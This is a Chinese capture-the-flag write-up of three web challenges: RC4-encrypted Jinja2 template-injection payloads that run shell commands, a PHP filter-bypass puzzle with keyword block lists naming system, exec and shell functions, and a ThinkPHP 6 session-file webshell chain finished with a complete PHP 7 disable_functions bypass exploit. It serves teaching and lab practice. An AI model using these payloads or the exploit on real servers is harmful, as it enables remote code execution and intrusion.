[CISCN2019 华东南赛区]Double Secret
知识点
- RC4
- 模板注入
WP
dirsearch扫出来secret目录
发现：
尝试传参secret发现超过4位会报错，查看报错中的信息发现
解密算法是RC4，密钥是HereIsTreasure，并且调用render_template_string渲染执行。
因此将命令进行RC4加密，并且url编码
import base64
from urllib import parse
def rc4_main(key = "init_key", message = "init_message"):#返回加密后得内容
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box
def rc4_excrypt(plain, box):
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
key = "HereIsTreasure" #此处为密钥
message = input("请输入明文:\n")
enc_base64 = rc4_main( key , message )
enc_init = str(base64.b64decode(enc_base64),'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:"+enc_url)
#print("rc4加密后的base64编码"+enc_base64)
SSTL的命令：
ls 列目录
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
cat /flag.txt
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}
[BJDCTF2020]EzPHP
知识点
- php绕过
WP
查看页面源码发现提示，猜测base32加密，解密得到源码网页
1nD3x.php
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
fxck you! I hate English!
待更新…
[GYCTF2020]EasyThinking
知识点
- thinkphp6.0.0-6.0.1的任意文件写入
- 绕过disable_functions
WP
目录扫描存在源码泄露www.zip
Thinkphp6.0
漏洞成因：ThinkPHP6任意文件操作漏洞分析
session可控，修改session，长度为32位，session后缀改为.php（加上.php后为32位）
然后再search搜索的内容会直接保存在/runtime/session/目录下，getshell
因此查找有session的操作，发现
利用点就是Record，实现将搜索的内容写入session，继续审计，发现login的一个点
public function login()
{
if (Request::isPost()){
$username = input("username");
$password = md5(input("password"));
$data["username"] = $username;
$data["password"] = $password;
$userId = Db::name("user")->where($data)->value("uid");
$userStatus = Db::name("user")->where($data)->value("status");
if ($userStatus == 1){
return "<script>alert(\"该用户已被禁用，无法登陆\");history.go(-1)</script>";
}
if ($userId){
session("UID",$userId);
return redirect("/home/member/index");
}
return "<script>alert(\"用户名或密码错误\");history.go(-1)</script>";
}else{
return view('login');
}
}
如果数据库存在一个用户id，用户名密码正确，则uid直接写到当前的session里面，也就是说，本来我们构造的PHPSESSID=1234567890123456789012345671.php的session是没有uid的，没法成功实现search功能，但是这里可以给session赋予uid，因此就可以实现写马。
在登录处先修改PHPSESSID：1234567890123456789012345678.php，刚好32长度
在搜索处写一句话木马：
key值会被传入session中
访问目录/runtime/session/sess_1234567890123456789012345678.php,发现可以实现任意文件操作，但是会发现disabled_function的原因导致函数用不了，无法getshell
因此需要绕过disable_functions限制
在网上找到绕过disable_function的POC链，适用范围是7.0到7.2全版本，7.3中小于7.3.15的、7.4中小于7.4.3的
7.0 - all versions to date
7.1 - all versions to date
7.2 - all versions to date
7.3 < 7.3.15 (released 20 Feb 2020)
7.4 < 7.4.3 (released 20 Feb 2020)
<?php
# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1
pwn("/readflag"); #此处修改命令
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
?>
最后文件包含得到flag
还有一道[极客大挑战 2019]RCE ME可以来对比分析加深理解。